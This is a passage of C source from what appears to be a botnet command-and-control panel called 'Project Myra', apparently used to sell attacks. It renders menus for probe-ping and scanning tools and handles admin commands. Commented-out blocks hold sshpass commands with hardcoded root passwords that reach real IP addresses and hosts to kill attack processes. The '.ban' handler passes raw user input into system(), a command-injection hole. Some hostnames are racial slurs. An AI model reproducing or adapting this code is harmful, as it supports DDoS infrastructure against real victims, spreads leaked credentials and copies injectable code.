2171 sprintf(tools_menu08, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mtcp-ping \e[38;5;225m[\e[38;5;168mPORT\e[38;5;225m] [\e[38;5;168mIP\e[38;5;225m] ║║ \e[38;5;168mInitiates \e[38;5;134mTCP \e[38;5;168mProbe Ping\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mUDADV_PRB\e[38;5;134m..\e[38;5;168m: \e[38;5;134mON \e[38;5;168m! \e[38;5;225m║\r\n");
2172 sprintf(tools_menu09, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mudp-ping \e[38;5;225m[\e[38;5;168mPORT\e[38;5;225m] [\e[38;5;168mIP\e[38;5;225m] ║║ \e[38;5;168mInitiates \e[38;5;134mUDP \e[38;5;168mProbe Ping\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mTCADV_PRB\e[38;5;134m..\e[38;5;168m: \e[38;5;134mON \e[38;5;168m! \e[38;5;225m║\r\n");
2173 sprintf(tools_menu10, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168marp-ping \e[38;5;225m[\e[38;5;168mIP\e[38;5;225m] ║║ \e[38;5;168mInitiates \e[38;5;134mARP \e[38;5;168mProbe Ping\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mARADV_PRB\e[38;5;134m..\e[38;5;168m: \e[38;5;134mON \e[38;5;168m! \e[38;5;225m║\r\n");
2174 sprintf(tools_menu11, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168micmp-ping \e[38;5;225m[\e[38;5;168mIP\e[38;5;225m] ║║ \e[38;5;168mInitiates \e[38;5;134mICMP\e[38;5;168m Probe Ping\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mICADV_PRB\e[38;5;134m..\e[38;5;168m: \e[38;5;134mON \e[38;5;168m! \e[38;5;225m║\r\n");
2175 sprintf(tools_menu12, "\e[38;5;225m╚═════════════════════════╝╚══════════════════════════════╝╚═══════════════════╝\r\n");
2176 sprintf(tools_menu13, "\e[38;5;225m╔════════════════════════════╗╔════════════════════════════════════════════════╗\r\n");
2177 sprintf(tools_menu14, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mtcpadv-ping \e[38;5;225m[\e[38;5;168mPORT\e[38;5;225m] [\e[38;5;168mIP\e[38;5;225m] ║║ \e[38;5;168mInitiates Advanced \e[38;5;134mTCP \e[38;5;168mProbe For \e[38;5;134mPacket Debug\e[38;5;168m. \e[38;5;225m║\r\n");
2178 sprintf(tools_menu15, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mudpadv-ping \e[38;5;225m[\e[38;5;168mPORT\e[38;5;225m] [\e[38;5;168mIP\e[38;5;225m] ║║ \e[38;5;168mInitiates Advanced \e[38;5;134mUDP \e[38;5;168mProbe For \e[38;5;134mRTE Analysis\e[38;5;168m. \e[38;5;225m║\r\n");
2179 sprintf(tools_menu16, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168marpadv-ping \e[38;5;225m[\e[38;5;168mIP\e[38;5;225m] ║║ \e[38;5;168mInitiates Advanced \e[38;5;134mARP \e[38;5;168mProbe For \e[38;5;134mADR Testing\e[38;5;168m. \e[38;5;225m║\r\n");
2180 sprintf(tools_menu17, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168micmpadv-ping \e[38;5;225m[\e[38;5;168mIP\e[38;5;225m] ║║ \e[38;5;168mInitiates Advanced \e[38;5;134mICMP\e[38;5;168m Probe For\e[38;5;134m Verbosity\e[38;5;168m. \e[38;5;225m║\r\n");
2181 sprintf(tools_menu18, "\e[38;5;225m╚════════════════════════════╝╚════════════════════════════════════════════════╝\r\n");
2182 sprintf(tools_menu19, "\e[38;5;225m╔══════════════════════╗╔══════════════════════════════════════════════════════╗\r\n");
2183 sprintf(tools_menu20, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168miplookup \e[38;5;225m[\e[38;5;168mIP\e[38;5;225m] ║║ \e[38;5;168mDisplays Information Such as \e[38;5;134mGeolocation \e[38;5;168mFor a IP\e[38;5;134m. \e[38;5;225m║\r\n");
2184 sprintf(tools_menu21, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mnmap \e[38;5;225m[\e[38;5;168mIP\e[38;5;225m] ║║ \e[38;5;168mInitiates \e[38;5;134mNMAP \e[38;5;168mTo Run a Full Fledged Port Scan\e[38;5;134m. \e[38;5;225m║\r\n");
2185 sprintf(tools_menu22, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mwhois \e[38;5;225m[\e[38;5;168mIP\e[38;5;225m] ║║ \e[38;5;168mRuns a \e[38;5;134mWHOIS \e[38;5;168mSearch on Stated IP Address\e[38;5;134m. \e[38;5;225m║\r\n");
2186 sprintf(tools_menu23, "\e[38;5;225m╚══════════════════════╝╚══════════════════════════════════════════════════════╝\r\n");
2187 if(send(clear_myra_broadcast, tools_menu01, strlen(tools_menu01), MSG_NOSIGNAL) == -1) goto finish_integer;
2188 if(send(clear_myra_broadcast, tools_menu02, strlen(tools_menu02), MSG_NOSIGNAL) == -1) goto finish_integer;
2189 if(send(clear_myra_broadcast, tools_menu03, strlen(tools_menu03), MSG_NOSIGNAL) == -1) goto finish_integer;
2190 if(send(clear_myra_broadcast, tools_menu04, strlen(tools_menu04), MSG_NOSIGNAL) == -1) goto finish_integer;
2191 if(send(clear_myra_broadcast, tools_menu05, strlen(tools_menu05), MSG_NOSIGNAL) == -1) goto finish_integer;
2192 if(send(clear_myra_broadcast, tools_menu06, strlen(tools_menu06), MSG_NOSIGNAL) == -1) goto finish_integer;
2193 if(send(clear_myra_broadcast, tools_menu07, strlen(tools_menu07), MSG_NOSIGNAL) == -1) goto finish_integer;
2194 if(send(clear_myra_broadcast, tools_menu08, strlen(tools_menu08), MSG_NOSIGNAL) == -1) goto finish_integer;
2195 if(send(clear_myra_broadcast, tools_menu09, strlen(tools_menu09), MSG_NOSIGNAL) == -1) goto finish_integer;
2196 if(send(clear_myra_broadcast, tools_menu10, strlen(tools_menu10), MSG_NOSIGNAL) == -1) goto finish_integer;
2197 if(send(clear_myra_broadcast, tools_menu11, strlen(tools_menu11), MSG_NOSIGNAL) == -1) goto finish_integer;
2198 if(send(clear_myra_broadcast, tools_menu12, strlen(tools_menu12), MSG_NOSIGNAL) == -1) goto finish_integer;
2199 if(send(clear_myra_broadcast, tools_menu13, strlen(tools_menu13), MSG_NOSIGNAL) == -1) goto finish_integer;
2200 if(send(clear_myra_broadcast, tools_menu14, strlen(tools_menu14), MSG_NOSIGNAL) == -1) goto finish_integer;
2201 if(send(clear_myra_broadcast, tools_menu15, strlen(tools_menu15), MSG_NOSIGNAL) == -1) goto finish_integer;
2202 if(send(clear_myra_broadcast, tools_menu16, strlen(tools_menu16), MSG_NOSIGNAL) == -1) goto finish_integer;
2203 if(send(clear_myra_broadcast, tools_menu17, strlen(tools_menu17), MSG_NOSIGNAL) == -1) goto finish_integer;
2204 if(send(clear_myra_broadcast, tools_menu18, strlen(tools_menu18), MSG_NOSIGNAL) == -1) goto finish_integer;
2205 if(send(clear_myra_broadcast, tools_menu19, strlen(tools_menu19), MSG_NOSIGNAL) == -1) goto finish_integer;
2206 if(send(clear_myra_broadcast, tools_menu20, strlen(tools_menu20), MSG_NOSIGNAL) == -1) goto finish_integer;
2207 if(send(clear_myra_broadcast, tools_menu21, strlen(tools_menu21), MSG_NOSIGNAL) == -1) goto finish_integer;
2208 if(send(clear_myra_broadcast, tools_menu22, strlen(tools_menu22), MSG_NOSIGNAL) == -1) goto finish_integer;
2209 if(send(clear_myra_broadcast, tools_menu23, strlen(tools_menu23), MSG_NOSIGNAL) == -1) goto finish_integer;
2210 //char menuoutput2[5000];
2211 //sprintf(menuoutput2, "\e[38;5;225mWait until the \e[38;5;134mfull release \e[38;5;168m!\r\n");
2212 //if(send(clear_myra_broadcast, menuoutput2, strlen(menuoutput2), MSG_NOSIGNAL) == -1) goto finish_integer;
2213 //TESTICLESpthread_create(&title, NULL, &myra_title_creator, sock);
2214 while(1)
2215 {
2216 sprintf(myra, "\e[38;5;134m[\e[38;5;225m%s\e[38;5;134m@\e[38;5;168mMyra\e[38;5;134m]\e[38;5;154m$\e[38;5;168m ", accounts[find_line].username, myra_buffer_size); // User Input - Hostname
2217 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // / Each Line Set on [MSG_NOSIGNAL] - Broadcast
2218 break; // Terminate Function Once Again, We Need More Stability..
2219 }
2220 continue;
2221 }
2222 if (strstr(myra_buffer_size, ".hashme") || strstr(myra_buffer_size, ".HASHME")) // System Command Function -- [TESTING HERE]
2223 {
2224 if(strcmp(VIP, accounts[find_line].identification_type) == 0) // Check If User Is Admin
2225 {
2226 //char tokensize [120];
2227 //char algorithm [120];
2228 //char newkey [120];
2229 //char successver [120];
2230 //sprintf(myra, "\e[38;5;168mMyra is now running \e[38;5;134mseveral hash functions..\r\n");
2231 //sprintf(tokensize, "\e[38;5;168mGenerating \e[38;5;134mnew token \e[38;5;168msize\e[38;5;16m..\r\n");
2232 //sprintf(algorithm, "\e[38;5;168mReconfiguring \e[38;5;134malgorithmic security \e[38;5;168mstructure\e[38;5;134m..\r\n");
2233 //sprintf(newkey, "\e[38;5;168mVerifiying new \e[38;5;134mkey \e[38;5;168mfor [\e[38;5;134m%s\e[38;5;168m]\e[38;5;134m..\r\n", accounts[find_line].username, myra_buffer_size);
2234 //sprintf(successver, "\e[38;5;134mVerification successful \e[38;5;168m! \e[38;5;134mHash randomised \e[38;5;168m!\r\n");
2235 //if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast sleep(1);
2236 //sleep(1);
2237 //if(send(clear_myra_broadcast, tokensize, strlen(tokensize), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2238 //sleep(3);
2239 //if(send(clear_myra_broadcast, algorithm, strlen(algorithm), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2240 //sleep(1);
2241 //if(send(clear_myra_broadcast, newkey, strlen(newkey), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2242 //if(send(clear_myra_broadcast, successver, strlen(successver), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast;
2243 char menuoutput3[5000];
2244 sprintf(menuoutput3, "\e[38;5;225mWait until the \e[38;5;134mfull release \e[38;5;168m!\r\n");
2245 if(send(clear_myra_broadcast, menuoutput3, strlen(menuoutput3), MSG_NOSIGNAL) == -1) goto finish_integer;
2246 }
2247 else
2248 {
2249 sprintf(myra, "\e[38;5;134mVIP's Only!!\r\n");
2250 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2251 }
2252 }
2253 if (strstr(myra_buffer_size, ".kick") || strstr(myra_buffer_size, ".KICK")) // System Command Function -- [TESTING HERE]
2254 {
2255 if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
2256 {
2257 char dy[200];
2258 char done[200];
2259 sprintf(dy,"\x1b[1;37menter user id\x1b[1;31m: \x1b[1;37m");
2260 if(send(clear_myra_broadcast, dy, strlen(dy), MSG_NOSIGNAL) == -1) return;
2261 memset(myra_buffer_size,0,sizeof(myra_buffer_size));
2262 if(buffer_size_string_compare(myra_buffer_size, sizeof(myra_buffer_size), clear_myra_broadcast) < 1) return;
2263 trim_removev2(myra_buffer_size);
2264 int fd = myra_buffer_size;
2265 close(fd);
2266 }
2267 else
2268 {
2269 sprintf(myra, "\e[38;5;134mOwners Only!!\r\n");
2270 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2271 }
2272 }
2273 //if (strstr(myra_buffer_size, ".hfbijhbvsbv") || strstr(myra_buffer_size, ".ijasncjiadnc)) // System Command Function -- [TESTING HERE]
2274 {
2275 //if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
2276 { /*
2277
2278 screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.121.111 pkill perl
2279 screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.175.236 pkill perl
2280 screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.181.196 pkill perl
2281 screen -d -m sshpass -P ongang ssh root@78.46.181.199 pkill perl
2282
2283
2284
2285 */
2286 //char command[50];
2287 //trim_removev2(command);
2288 //char command2[50];
2289 //trim_removev2(command2);
2290 //char command3[50];
2291 //trim_removev2(command3);
2292 //char command4[50];
2293 //trim_removev2(command4);
2294 //char command5[50];
2295 //trim_removev2(command5);
2296 //char command6[50];
2297 ////trim_removev2(command6);
2298 //char command7[50];
2299 //trim_removev2(command7);
2300 //char command8[50];
2301 //trim_removev2(command8);
2302 //strcpy(command, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.121.111 pkill perl" );
2303 //strcpy(command2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.175.236 pkill perl" );
2304 //strcpy(command3, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.181.196 pkill perl" );
2305 //strcpy(command4, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.181.199 pkill perl" );
2306 //strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.172.129 pkill perl" );
2307 //strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.175.235 pkill perl" );
2308 ////strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.175.234 pkill perl" );
2309 //strcpy(command8, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.175.3 pkill perl" );
2310 //system(command);
2311 //system(command2);
2312 //system(command3);
2313 //system(command4);
2314 //system(command5);
2315 //system(command6);
2316 ////system(command7);
2317 //system(command8);
2318 //sprintf(myra, "\e[38;5;134mOh dang homie, You really dropping those attacks? Oki fine <3\r\n");
2319 //if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2320 }
2321 //else
2322 {
2323 //sprintf(myra, "\e[38;5;134mOwners Only!!\r\n");
2324 //if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2325 }
2326 }
2327 if (strstr(myra_buffer_size, ".dom") || strstr(myra_buffer_size, ".DOM")) // System Command Function -- [TESTING HERE]
2328 {
2329 if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
2330 { /*
2331
2332 screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.121.111 pkill perl
2333 screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.175.236 pkill perl
2334 screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.181.196 pkill perl
2335 screen -d -m sshpass -P ongang ssh root@78.46.181.199 pkill perl
2336
2337
2338
2339 */
2340 //char command[500];
2341 //trim_removev2(command);
2342 //char command2[500];
2343 //trim_removev2(command2);
2344 //char command3[500];
2345 //trim_removev2(command3);
2346 //char command4[500];
2347 ////trim_removev2(command4);
2348 //char command5[500];
2349 //trim_removev2(command5);
2350 ////char command6[500];
2351 ////trim_removev2(command6);
2352 //char command7[500];
2353 //trim_removev2(command7);
2354 //char command8[500];
2355 //trim_removev2(command8);
2356 //char command9[500];
2357 //trim_removev2(command9);
2358 ////char command10[500];
2359 ////trim_removev2(command10);
2360 ////char command11[500];
2361 ////trim_removev2(command11);
2362 ////char command12[500];
2363 ////trim_removev2(command12);
2364 ////char command13[500];
2365 ////trim_removev2(command13);
2366 ////strcpy(command, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.121.111 pkill perl" );
2367 ////strcpy(command2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.175.236 pkill perl" );
2368 ////strcpy(command3, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.181.196 pkill perl" );
2369 ////strcpy(command4, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.181.199 pkill perl" );
2370 //strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 \"pkill vulcan; pkill node; pkill ares; pkill ark-drop; pkill athena; pkill aura; pkill gme-brk; pkill chimera; pkill csgo; pkill dracula; pkill fn-lag; pkill fn-drop; pkill gunther; pkill home; pkill katura; pkill nikolai; pkill odin; pkill phoenix; pkill r6-drop; pkill witch; pkill ceres; pkill zeus\"" );
2371 //strcpy(command6, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig \"pkill nein; pkill vulcan; pkill ares; pkill ark-drop; pkill athena; pkill aura; pkill gme-brk; pkill chimera; pkill csgo; pkill dracula; pkill fn-lag; pkill fn-drop; pkill gunther; pkill home; pkill katura; pkill nikolai; pkill odin; pkill phoenix; pkill r6-drop; pkill witch; pkill ceres; pkill zeus\"" );
2372 ////strcpy(command7, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@nigger2 \"pkill vulcan; pkill ares; pkill ark-drop; pkill athena; pkill aura; pkill gme-brk; pkill chimera; pkill csgo; pkill dracula; pkill fn-lag; pkill fn-drop; pkill gunther; pkill home; pkill katura; pkill nikolai; pkill odin; pkill phoenix; pkill r6-drop; pkill witch; pkill ceres; pkill zeus\"" );
2373 //strcpy(command8, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger3 \"pkill vulcan; pkill ares; pkill ark-drop; pkill athena; pkill aura; pkill gme-brk; pkill chimera; pkill csgo; pkill dracula; pkill fn-lag; pkill fn-drop; pkill gunther; pkill home; pkill katura; pkill nikolai; pkill odin; pkill phoenix; pkill r6-drop; pkill witch; pkill ceres; pkill zeus\"" );
2374 //strcpy(command9, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger4 \"pkill vulcan; pkill ares; pkill ark-drop; pkill athena; pkill aura; pkill gme-brk; pkill chimera; pkill csgo; pkill dracula; pkill fn-lag; pkill fn-drop; pkill gunther; pkill home; pkill katura; pkill nikolai; pkill odin; pkill phoenix; pkill r6-drop; pkill witch; pkill ceres; pkill zeus\"" );
2375 ////strcpy(command10, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.172.129 pkill perl" );
2376 ////strcpy(command11, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.175.235 pkill perl" );
2377 ////strcpy(command12, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.175.234 pkill perl" );
2378 ////strcpy(command13, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@78.46.175.3 pkill perl" );
2379 ////system(command);
2380 ////system(command2);
2381 ////system(command3);
2382 ////system(command4);
2383 //system(command5);
2384 //system(command6);
2385 ////system(command7);
2386 //system(command8);
2387 //system(command9);
2388 //system(command10);
2389 //system(command11);
2390 //system(command12);
2391 //system(command13);
2392 sprintf(myra, "\e[38;5;134mOkay Dommy, We have aborted your eskimo babies !\r\n");
2393 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2394 }
2395 else
2396 {
2397 sprintf(myra, "\e[38;5;134mOwners Only!!\r\n");
2398 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2399 }
2400 }
2401 if (strstr(myra_buffer_size, ".detail-attacks") || strstr(myra_buffer_size, ".detail-ATTACKS")) // System Command Function -- [TESTING HERE]
2402 {
2403 if(strcmp(VIP, accounts[find_line].identification_type) == 0) // Check If User Is Admin
2404 {
2405 FILE *fp;
2406 char *ip[5000];
2407 char path[5000];
2408 /* Open the command for reading. */
2409 sprintf(ip, "screen -ls");
2410 fp = popen(ip, "r");
2411 if (fp == NULL) {
2412 printf("Failed to run command\n");
2413 exit(1);
2414 }
2415 /* Read the output a line at a time - output it. */
2416 while (fgets(path, sizeof(path), fp) != NULL) {
2417 char puta [5000];
2418 sprintf(puta, "\r \e[38;5;225m%s", path);
2419 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
2420 }
2421 /* close */
2422 pclose(fp);
2423 char extra [120];
2424 sprintf(myra, "\r \e[38;5;134mRunning sockets should be displayed!\r\n");
2425 sprintf(extra, " \e[38;5;134mNote - Myra-Network is \e[38;5;168mNOT \e[38;5;134man attack.\r\n");
2426 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
2427 if(send(clear_myra_broadcast, extra, strlen(extra), MSG_NOSIGNAL) == -1) return;
2428 }
2429 else
2430 {
2431 sprintf(myra, "\e[38;5;134mVIP's Only !\r\n");
2432 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2433 }
2434 }
2435 if (strstr(myra_buffer_size, ".iiiiii") || strstr(myra_buffer_size, ".iiiiiii")) // System Command Function -- [TESTING HERE]
2436 {
2437 if(strcmp(VIP, accounts[find_line].identification_type) == 0) // Check If User Is Admin
2438 {
2439 char creds_01 [120];
2440 char creds_02 [120];
2441 char creds_03 [120];
2442 char creds_04 [120];
2443 char creds_05 [120];
2444 char creds_06 [120];
2445 char creds_07 [120];
2446 char creds_08 [120];
2447 char creds_09 [120];
2448 char creds_10 [120];
2449 char creds_11 [120];
2450 char creds_12 [120];
2451 char creds_13 [120];
2452 char creds_14 [120];
2453 char creds_15 [120];
2454 char creds_16 [120];
2455 char creds_17 [120];
2456 sprintf(creds_01, "\e[38;5;225m╔═════════════════════╗\r\n");
2457 sprintf(creds_02, "\e[38;5;225m║ \e[38;5;168mProject Myra. \e[38;5;134mII\e[38;5;168m. \e[38;5;225m ║\r\n");
2458 sprintf(creds_03, "\e[38;5;225m║ \e[38;5;134mRemastered\e[38;5;168m. \e[38;5;225m║\r\n");
2459 sprintf(creds_04, "\e[38;5;225m╚═════════════════════╝\r\n");
2460 sprintf(creds_05, " \e[38;5;225m╔═════════════════╗\r\n");
2461 sprintf(creds_06, " \e[38;5;225m║ \e[38;5;134mSpecial Thanks \e[38;5;225m║\r\n");
2462 sprintf(creds_07, " \e[38;5;225m╚═════════════════╝\r\n");
2463 sprintf(creds_08, " \e[38;5;225m╔══════════════╗\r\n");
2464 sprintf(creds_09, " \e[38;5;225m║ \e[38;5;168mGppie \e[38;5;225m║\r\n");
2465 sprintf(creds_10, " \e[38;5;225m║ \e[38;5;168mCpke \e[38;5;225m║\r\n");
2466 sprintf(creds_11, " \e[38;5;225m║ \e[38;5;168mVerism \e[38;5;225m║ ╔═════════════════╗\r\n");
2467 sprintf(creds_12, " \e[38;5;225m║ \e[38;5;168mAtrionized \e[38;5;225m║ ║ \e[38;5;134mDeveloper \e[38;5;225m║\r\n");
2468 sprintf(creds_13, " \e[38;5;225m║ \e[38;5;168mSelfrepnetis \e[38;5;225m║ ╚═════════════════╝\r\n");
2469 sprintf(creds_14, " \e[38;5;225m║ \e[38;5;168mPhenomite \e[38;5;225m║ ╔═════════════════╗\r\n");
2470 sprintf(creds_15, " \e[38;5;225m║ \e[38;5;168mVurexium \e[38;5;225m║ ║ \e[38;5;168mTransmissional \e[38;5;225m║\r\n");
2471 sprintf(creds_16, " \e[38;5;225m║ \e[38;5;168mSwitch \e[38;5;225m║ ╚═════════════════╝\r\n");
2472 sprintf(creds_17, " \e[38;5;225m╚══════════════╝\r\n");
2473 if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
2474 if(send(clear_myra_broadcast, creds_01, strlen(creds_01), MSG_NOSIGNAL) == -1) return;
2475 if(send(clear_myra_broadcast, creds_02, strlen(creds_02), MSG_NOSIGNAL) == -1) return;
2476 if(send(clear_myra_broadcast, creds_03, strlen(creds_03), MSG_NOSIGNAL) == -1) return;
2477 if(send(clear_myra_broadcast, creds_04, strlen(creds_04), MSG_NOSIGNAL) == -1) return;
2478 if(send(clear_myra_broadcast, creds_05, strlen(creds_05), MSG_NOSIGNAL) == -1) return;
2479 if(send(clear_myra_broadcast, creds_06, strlen(creds_06), MSG_NOSIGNAL) == -1) return;
2480 if(send(clear_myra_broadcast, creds_07, strlen(creds_07), MSG_NOSIGNAL) == -1) return;
2481 if(send(clear_myra_broadcast, creds_08, strlen(creds_08), MSG_NOSIGNAL) == -1) return;
2482 if(send(clear_myra_broadcast, creds_09, strlen(creds_09), MSG_NOSIGNAL) == -1) return;
2483 if(send(clear_myra_broadcast, creds_10, strlen(creds_10), MSG_NOSIGNAL) == -1) return;
2484 if(send(clear_myra_broadcast, creds_11, strlen(creds_11), MSG_NOSIGNAL) == -1) return;
2485 if(send(clear_myra_broadcast, creds_12, strlen(creds_12), MSG_NOSIGNAL) == -1) return;
2486 if(send(clear_myra_broadcast, creds_13, strlen(creds_13), MSG_NOSIGNAL) == -1) return;
2487 if(send(clear_myra_broadcast, creds_14, strlen(creds_14), MSG_NOSIGNAL) == -1) return;
2488 if(send(clear_myra_broadcast, creds_15, strlen(creds_15), MSG_NOSIGNAL) == -1) return;
2489 if(send(clear_myra_broadcast, creds_16, strlen(creds_16), MSG_NOSIGNAL) == -1) return;
2490 if(send(clear_myra_broadcast, creds_17, strlen(creds_17), MSG_NOSIGNAL) == -1) return;
2491 }
2492 else
2493 {
2494 sprintf(myra, "\e[38;5;134mOwners Only!!\r\n");
2495 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2496 }
2497 }
2498 if (strstr(myra_buffer_size, ".ban") || strstr(myra_buffer_size, ".BAN")) // System Command Function
2499 {
2500 char iptarget[5000]; // Char Every Line For Output Communication
2501 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
2502 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
2503 trim_removev2(iptarget); // Trim [iptarget]
2504 char *ipkill[5000]; // Creating A System Function
2505 trim_removev2(ipkill); // Trim [ipkill]
2506 sprintf(ipkill, "iptables -A INPUT -s %s -j DROP", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
2507 system(ipkill); // System Execution
2508 sprintf(myra, "\e[38;5;168mIP:\e[38;5;225m[\e[38;5;168m%s\e[38;5;225m] \e[38;5;168mBanned!\r\n", iptarget);
2509 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2510 }
2511 if (strstr(myra_buffer_size, ".info") || strstr(myra_buffer_size, ".INFO")) // System Command Function
2512 {
2513 char happen_01 [120];
2514 char happen_02 [120];
2515 char happen_03 [120];
2516 char happen_04 [120];
2517 char happen_05 [120];
2518 char happen_06 [120];
2519 char happen_07 [120];
2520 char happen_08 [120];
2521 char happen_09 [120];
2522 char happen_10 [120];
2523 sprintf(happen_01, "\e[38;5;168mThe \e[38;5;134mMyra Initiative \e[38;5;168mwas designed by myself. This was designed after me and\r\n");
2524 sprintf(happen_02, "\e[38;5;168mCri abandoned another C2 Project called '\e[38;5;134mProject katura.' \e[38;5;168mNow, Cri was unhappy\r\n");
2525 sprintf(happen_03, "\e[38;5;168mthat I had taken \e[38;5;134mMyra development \e[38;5;168minto \e[38;5;134mfull time\e[38;5;168m. Allowing me to create a \r\n");
2526 sprintf(happen_04, "\e[38;5;168mstable project with a decent amount of financial income. Cri stopped devlpmnt\r\n");
2527 sprintf(happen_05, "\e[38;5;168mfor \e[38;5;134m8 months due \e[38;5;168mto \e[38;5;134mmental health deterioration from one of his \e[38;5;134megirls. \e[38;5;168mHe\r\n");
2528 sprintf(happen_06, "\e[38;5;168mthought I was being one sided with the entire project and decided to leak it.\r\n");
2529 sprintf(happen_07, "\e[38;5;168m \r\n");
2530 sprintf(happen_08, "\e[38;5;168mDue to the leak, I decided to completely \e[38;5;134mrecreate Project Myra\e[38;5;168m. \r\n");
2531 sprintf(happen_09, "\e[38;5;168mAnd now he cannot do \e[38;5;134mshit\e[38;5;168m.\r\n");
2532 sprintf(happen_10, "\e[38;5;134mCapabilities Exceed.\r\n");
2533 if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
2534 if(send(clear_myra_broadcast, happen_01, strlen(happen_01), MSG_NOSIGNAL) == -1) return;
2535 if(send(clear_myra_broadcast, happen_02, strlen(happen_02), MSG_NOSIGNAL) == -1) return;
2536 if(send(clear_myra_broadcast, happen_03, strlen(happen_03), MSG_NOSIGNAL) == -1) return;
2537 if(send(clear_myra_broadcast, happen_04, strlen(happen_04), MSG_NOSIGNAL) == -1) return;
2538 if(send(clear_myra_broadcast, happen_05, strlen(happen_05), MSG_NOSIGNAL) == -1) return;
2539 if(send(clear_myra_broadcast, happen_06, strlen(happen_06), MSG_NOSIGNAL) == -1) return;
2540 if(send(clear_myra_broadcast, happen_07, strlen(happen_07), MSG_NOSIGNAL) == -1) return;
2541 if(send(clear_myra_broadcast, happen_08, strlen(happen_08), MSG_NOSIGNAL) == -1) return;
2542 if(send(clear_myra_broadcast, happen_09, strlen(happen_09), MSG_NOSIGNAL) == -1) return;
